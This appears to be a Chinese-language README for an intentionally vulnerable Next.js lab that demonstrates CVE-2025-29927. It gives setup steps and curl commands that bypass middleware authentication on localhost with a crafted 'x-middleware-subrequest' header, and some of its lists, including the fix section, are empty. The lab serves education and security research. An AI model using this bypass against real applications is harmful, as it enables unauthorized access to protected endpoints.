此仓库包含一个使用 Next.js 构建的 故意存在漏洞 的 Web 应用程序。它旨在演示和研究名为 CVE-2025-29927 的安全问题。 该项目的目标是帮助安全研究人员、学生和漏洞赏金猎人了解该漏洞如何在类似真实环境的环境中运作。
[!CAUTION ] 该应用程序是故意不安全的,绝不应部署到生产环境。
CVE-2025-29927 与基于 Next.js 构建的应用程序中请求逻辑处理不当有关,尤其是在中间件中。这可能允许攻击者:
git clone https://github.com/metasploit403/cve-2025-29927-lab
cd cve-2025-29927-lab
npm install
npm run dev
某些路由是故意存在漏洞的,可能包括
- /api/admin/secret
- /api/internal/health
- /api/private/data
这些端点模拟受限资源,未经适当授权不应被访问。
1.假设你已经成功克隆了仓库
2.启动 npm run dev
3.这会在本地运行你的项目
4.打开你选择的浏览器,例如 chrome,并输入 http://localhost:3000
5.尝试访问 3 个 API 端点 中的任意一个
- /api/admin/secret
- /api/internal/health
- /api/private/data
6.现在用任意端点尝试一下
- http://localhost:3000/api/admin/secret
- http://localhost:3000/api/internal/health
- http://localhost:3000/api/private/data
7.观察你的请求被阻止了,这是因为你的请求中没有包含 cookie。这意味着该端点受到 中间件 的保护。中间件会检查你的请求是否有 cookie,如果没有,它会被自动阻止
8.现在让我们添加 cookie to our request。为此,请打开 chrome 开发者工具(我这里使用的是 chrome 浏览器,你可以使用任何你喜欢的浏览器)
9.按 F12,chrome 开发者工具将会打开
10.转到 控制台 选项卡
11.在控制台选项卡中输入 document.cookie="lab-auth=authenticated"
12.现在 刷新 页面,观察到你已 login
请记住,中间件会检查请求是否包含 cookie。如果请求有 cookie,你就能成功登录;如果没有,你就会被阻止。 问题是,我们如何绕过中间件检查并在不提供 cookie 的情况下登录。这正是 CVE-2025-29927 允许我们做的事情
现在让我们利用 CVE-2025-29927 绕过中间件身份验证检查。这里的技巧就是添加这个特定的请求头
x-middleware-subrequest: middleware。
这个请求头本应仅供框架内部使用。如果我们添加它,middleware 将停止检查我们的请求是否有 cookie,现在你应用程序中任何敏感端点都毫无防御能力
要利用这一点,让我们使用 cURL。
curl 是一个命令行工具,用于向服务器发送请求并获取响应
1.不带 cookie,预期返回 401
curl.exe -i http://localhost:3000/api/admin/secret
观察到服务器响应了状态码 307 临时重定向。因为没有 cookie,我们被重定向到主页/根页面。这意味着除非我们提供 cookie,否则无法登录。
2.curl.exe -i http://localhost:3000/api/admin/secret -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
现在我们添加了 "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
观察到我们现在可以在没有 cookie 的情况下访问登录。这是完全的身份验证绕过
要在真实应用中修复此类问题:
本项目仅供教育目的。 请勿在你不拥有或没有明确测试许可的系统上使用这些技术。
欢迎:
如果你觉得这有用,请考虑为该仓库点星标。
- Next.js
- Bug Bounty
- Web Security
- CVE-2025-29927
- Middleware Authentication
- Bypass